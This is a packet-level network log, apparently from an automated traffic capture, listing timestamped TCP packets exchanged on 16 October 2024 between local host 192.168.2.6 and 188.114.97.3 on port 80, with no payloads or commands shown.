                                                                                    Oct 16, 2024 10:58:13.140614986 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.140634060 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.140659094 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.140671015 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.140686035 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.140693903 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.140712976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.140722036 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.140739918 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.140750885 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.140760899 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.140770912 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.140804052 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.140814066 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.140825033 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.140856981 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.140867949 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.140882969 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.140896082 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.140906096 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.140923023 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.140932083 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.140935898 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.140947104 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.140955925 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.140969992 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.140983105 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.140995026 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.140995026 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.141012907 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.141020060 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.141028881 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.141052961 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.141073942 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.141122103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.141134024 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.141161919 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.141196012 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.185182095 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.185345888 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.185424089 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.186707020 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.186724901 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.186733007 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.186738968 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.186774969 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.186779976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.186789989 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.186819077 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.186841011 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.186842918 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.186852932 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.186862946 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.186891079 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.186908007 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.187007904 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.187016964 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.187055111 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.187091112 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.187103987 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.187113047 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.187124968 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.187131882 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.187139988 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.187149048 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.187156916 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.187156916 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.187185049 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.187196970 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.187249899 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.187261105 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.187271118 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.187289000 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.187306881 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.198689938 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.198698997 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.198762894 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.198815107 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.198824883 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.198834896 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.198848963 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.198896885 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.198906898 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.198915958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.198976040 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.198976040 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.198976040 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.198976040 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.205727100 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.205743074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.205750942 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.205765963 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.205777884 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.205801964 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.205835104 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.205845118 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.205853939 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.205888033 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.205889940 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.205905914 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.205924034 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.205935955 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.205935955 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.205946922 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.205956936 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.205962896 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.205981970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.205991983 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.205992937 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206020117 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206042051 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206049919 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206058979 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206094027 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206106901 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206121922 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206131935 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206141949 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206146955 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206154108 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206162930 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206172943 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206199884 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206218958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206227064 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206237078 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206245899 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206254959 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206281900 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206329107 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206338882 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206348896 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206366062 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206374884 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206377029 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206388950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206389904 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206399918 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206419945 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206433058 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206443071 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206446886 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206454039 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206480026 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206492901 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206518888 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206528902 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206538916 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206548929 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206558943 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206567049 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206590891 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206661940 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206671000 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206680059 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206691027 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206700087 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206701994 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206710100 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206717968 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206727982 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206733942 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206746101 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206754923 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206757069 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206767082 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206768990 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206778049 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206799984 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206825018 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206825972 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206835032 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206849098 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206860065 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206868887 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206883907 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206892967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206902981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206909895 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206914902 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206924915 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206933022 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206934929 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.206953049 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206978083 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.206988096 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207000017 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207009077 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207019091 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207026958 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207031965 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207055092 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207072973 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207079887 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207088947 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207114935 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207130909 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207154989 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207165003 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207174063 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207184076 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207192898 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207201958 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207228899 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207232952 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207245111 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207271099 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207281113 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207282066 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207300901 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207308054 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207330942 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207345963 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207387924 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207396984 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207406998 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207415104 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207427025 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207432032 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207439899 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207443953 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207457066 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207465887 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207472086 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207488060 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207513094 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207557917 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207570076 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207578897 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207601070 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207603931 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207614899 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207629919 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207643032 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207648039 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207652092 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207662106 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207684994 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207700968 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207731009 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207741976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207751989 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207777977 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207782984 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207792997 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207803011 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207803965 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207823992 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207839012 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.207951069 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207959890 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207969904 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.207993031 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.208003044 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.208014011 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.208029985 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.208034039 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.208058119 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.208079100 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244263887 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244425058 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244434118 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244451046 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244462013 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244471073 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244481087 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244488955 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244498014 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244513035 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244528055 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244537115 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244545937 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244555950 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244556904 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244561911 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244556904 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244556904 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244556904 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244573116 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244582891 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244592905 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244602919 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244610071 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244610071 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244610071 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244611979 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244621038 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244626045 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244631052 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244640112 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244641066 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244674921 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244697094 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244715929 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244731903 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244743109 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244751930 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244761944 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244762897 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244774103 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244776964 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244796991 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244817972 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244872093 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244880915 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244894981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244904041 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244914055 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244918108 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244925976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244930983 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244937897 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244957924 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244961023 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.244966984 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.244987011 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.245007992 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245012045 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.245019913 CEST8049735188.114.97.3192.168.2.6
